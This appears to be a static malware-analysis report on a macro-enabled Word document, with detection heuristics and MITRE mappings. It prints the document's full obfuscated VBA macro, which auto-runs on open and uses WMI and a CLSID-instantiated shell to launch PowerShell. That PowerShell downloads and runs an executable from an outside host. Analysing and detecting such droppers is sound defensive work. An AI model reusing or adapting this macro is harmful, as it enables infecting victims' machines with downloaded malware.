MALICIOUS
290
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1059.003 Windows Command Shell
T1218 Signed Binary Proxy Execution
The sample contains a VBA macro that automatically executes upon opening the document. This macro utilizes GetObject and CreateObject to instantiate a WMI service and then uses the Win32_Process class to create a new process, likely to download and execute a secondary payload. The use of cmd.exe by the VBA script indicates a command shell execution.
Heuristics 9
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VBA project inside OOXML medium 6 related findings OOXML_VBADocument contains a VBA project — VBA macros present
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VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATEVBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.Matched line in script
gsvgzh = "." Set uhrgkbf = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & gsvgzh & "\root\cimv2") -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
gsvgzh = "." Set uhrgkbf = GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\\" & gsvgzh & "\root\cimv2") -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
qdxlimariqgrqzkiltwfc = "cmd /c" & _ " " & _ -
VBA instantiates a COM class by raw CLSID high OLE_VBA_GETOBJECT_CLSID_EVASIONVBA uses GetObject("new:{CLSID}") to instantiate a COM class by raw CLSID rather than a CreateObject ProgID — an uncommon bypass of name-based macro detection.Matched line in script
k = 0 Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880") obj.Document.Application.ShellExecute "cmd.exe ", "/c " & " " & CFnHLQqsF, "", Null, k -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
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Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Private Sub Document_Open() Call zzzv56x -
Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGEOne or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
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Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://halo.susheel.us/QUOTE/RED.exe In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
- http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
- http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 4951 bytes |
SHA-256: 0c7604fb885449784f5751c57bdf0ef334bf2c7c7de5776ed8f8a3375caf08b7 |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
57 of 100 identifiers look randomly generated (e.g. 'Zv0fqy1jS4Q0Cy68VMOw4RJYgP6a5YWh4r91SXL5') — consistent with name-mangling obfuscation.
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Document_Open()
Call zzzv56x
End Sub
Private Sub zzzv56x()
If Sin(5.96289) + Cos(7.439867) = 23.78677 Then
Else
If "ZbRqsnMkiht" = "jg" Then
Else
Dim Words, Chars, MyString
For Words = 10 To 1 Step -1 ' Set up 10 repetitions.
r = 5.980217 * (w ^ 2) + 9.446377 * (x ^ 0.25) + 4.81379 * (y ^ 0.33) + 8.91197 * (Z ^ 0.5)
ri = r - Int(r)
w = x
x = y
y = Z
Z = ri
MyString = MyString
Next Words
End If
End If
Call UsAGzoR
End Sub
Attribute VB_Name = "WJDbnnFt"
#If VBA7 Then
#Else
#End If
Public Sub UsAGzoR()
On Error Resume Next
If 1.9929401538737E+15 > 6523226937# Then
Dim bvqszrzrdulrhlprifccgoatkokumlddid As Long
bvqszrzrdulrhlprifccgoatkokumlddid = (39984 - 5) / 15
If IsDate(vtnldeznsqxpvvidkjj) And ((34 + 91008577) / (8 + 813605262)) <> 1.9929401538737E+15 Then
End If
End If
If 813605262 > 809252575315# Then
Dim phkhffrqhjdoneorrzcomatquyqdztyun As Long
phkhffrqhjdoneorrzcomatquyqdztyun = (809252575315# - 91008577) / 39984
If IsDate(vtnldeznsqxpvvidkjj) And ((34 + 91008577) / (8 + 813605262)) <> 1.9929401538737E+15 Then
End If
End If
ypjsgnsyhukxlewqikrqcgrbstpstx = 4364
lgxwkrfslgvdlnqexmjbmamaml = "Ib5yW6RYSW9L2Ock"
Do While 578 < 8
Select Case lgevzjanuszdjwabdznjoabiniulv
Case "âȳÌÛ?Æ»ä?¦¢?µ", "ÛéÆÎ¤Æ³í¦�??¸À¨ ÔôÍÏ?¿¦á", "ÚÅ»ÁÌ¡Áµï"
zxcbnmmf1 = "ÖÏÉÜ?¼«ä¥¦?"
Case "ÝȼÎÊ�ººìª?¡?´µ¸«", "Ü×§ÍÔ Ã¹ß?¦"
zxcbnmmf2 = "ìŬÕâ�¶©Ùª???¼³¬¢ëÔ·"
Case "ÛÖ", "àЮÊÙ?®¯å ?¡?¼¼¡¯æÏ±ÊÓ¤±ªÚ§¦??"
zxcbnmmf3 = "ØÛ°ÑÙ?"
Case Else
zxcbnmmf4 = "oisxtirgbokqfpkfpbhvhinzbvcebudycuwh"
End Select
Exit Do
Loop
a = Left("EfYDBGMxFO ACbbeEpNM krRlyRhWUt", 1)
b = Left("PfYDBGMxFO ACbbeEpNM krRlyRhWUt", 1)
'Right function
c = Left("OfYDBGMxFO ACbbeEpNM krRlyRhWUt", 1)
f = Right("HfYDBGMxFO ACbbeEpNM krRlyRhWUT", 1)
'Mid function
q = Mid("EfYDBGMxFO ACbbeEpNM krRlyRhWUt", 1, 11)
'Split function
d = Split("EfYDBGMxFO ACbbeEpNM krRlyRhWUt", " ")
For Each wrd In d
strg = strg & wrd & ", "
Next
qdxlimariqgrqzkiltwfc = "cmd /c" & _
" " & _
"" & _
b & c & Chr(119) & a & Chr(114) & Chr(115) & Chr(104) & a & Chr(108) & Chr(108) & _
"(New-" & _
"Object " & _
"System" & _
".Net." & _
"Web" & _
"Client" & _
")." & _
"DownloadFile" & _
"(" & _
"'" & _
"http://halo.susheel.us/QUOTE/RED.exe" & _
"','%temp%\jilhwvnabdilgyyvungkwrjyhlof.exe');start %temp%\jilhwvnabdilgyyvungkwrjyhlof.exe"
Const abpmafsfxmsitnbwuqj = 12
gsvgzh = "."
Set uhrgkbf = GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\\" & gsvgzh & "\root\cimv2")
Set dfbqmrlkyfuj = uhrgkbf.Get("Win32_ProcessStartup")
Set uouzftqmhcnchoxexyjckdzkcjuyfqenjdnd = dfbqmrlkyfuj.SpawnInstance_
uouzftqmhcnchoxexyjckdzkcjuyfqenjdnd.ShowWindow = abpmafsfxmsitnbwuqj
Set dhfhjhrywstb = GetObject("winmgmts:root\cimv2:Win32_Process")
errReturn = dhfhjhrywstb.Create(qdxlimariqgrqzkiltwfc, Null, uouzftqmhcnchoxexyjckdzkcjuyfqenjdnd, dtjwpkwwzshryaseburdrcwdtstence)
End Sub
Sub iobymzkghbrpfwunuyxcwdzrhhhpnqgjpyq(CFnHLQqsF As String)
Do Until "HBPTnQGfjVeuAQk" <> "UigthoC"
YjrKwEqZrQDLpaODiNRoJRN = "dcqFTSiSznuDZwiffEDjMZRuTdKU"
NRHWKgUNkGYilLBfLeme = "JENdUELwmqHOwmWnhOPOSvyeBbNPOIyX"
kEMtsqcIQyPRToZerdPXQTNGicsrvierjZL = 5.61511862524622E+36
KupYmGCwiNhnnkWeiAYRqGKPxlMiU = 6.01058808879894E+26
hudrUxnrkJRQXVuFDLLzI = 7.82813176401592E+26
AtrDkZbBtTcKgnJvPZqrQOAZjpVrhB = "UPytjAQNOQiQxoMoGwHv"
IRTltSUuEjUswHvhuZvyMcbhyClWAOvZ = 9.92402316095874E+17
lMyfHq = "wSKhOXAgRHMWMwZfqlnqgyupnumLv"
CmjNCtSuTaBFFtCZNJMgItUzByYUtTlpkUEZmztfN = "SMobsAnNhcyOoIRkLEVyAApMUkocnOPgTLbIKZFX"
glIrVfvHCnpJPvRXcHHMKaTMRvdh = "ZlyyRTOgU"
FtUkaaXEQJkiSxLVGRwZaCOycBqLxcDrHJCTqptmur = "XYrTAnvNxjvX"
eWHZ = "MGnGtaJvsfQYKeipqZlhpXCOFHLlyoU"
TCilZRfRKFvQwZZRoOowWruoDZAm = 103980494234479#
YxDLjEIwxQZuU = "kcmRghuwkzXKcHuhzQsCm"
HBPTnQGfjVeuAQk = UigthoC
Loop
k = "W"
k = 0
Set obj = GetObject("new:C08AFD90-F2A1-11D1-8455-00A0C91F3880")
obj.Document.Application.ShellExecute "cmd.exe ", "/c " & " " & CFnHLQqsF, "", Null, k
k = VBA.Command(CFnHLQqsF, Right(Right(Mid("Zv0fqy1jS4Q0Cy68VMOw4RJYgP6a5YWh4r91SXL5PxGZr214JolfhnBUF76WJ2Vx", 509), 1), 1))
End Sub
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vbaProject_00.bin |
vba-project | OOXML VBA project: word/vbaProject.bin | 21504 bytes |
SHA-256: 7fcafeffcbae7b6c4d0f7f04571f9d62b77e308499770864fdf2d485aa446bde |
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Detection
ClamAV:
No threats found
Obfuscation or payload:
likely
147 of 257 identifiers look randomly generated (e.g. 'Zv0fqy1jS4Q0Cy68VMOw4RJYgP6a5YWh4r91SXL5') — consistent with name-mangling obfuscation.
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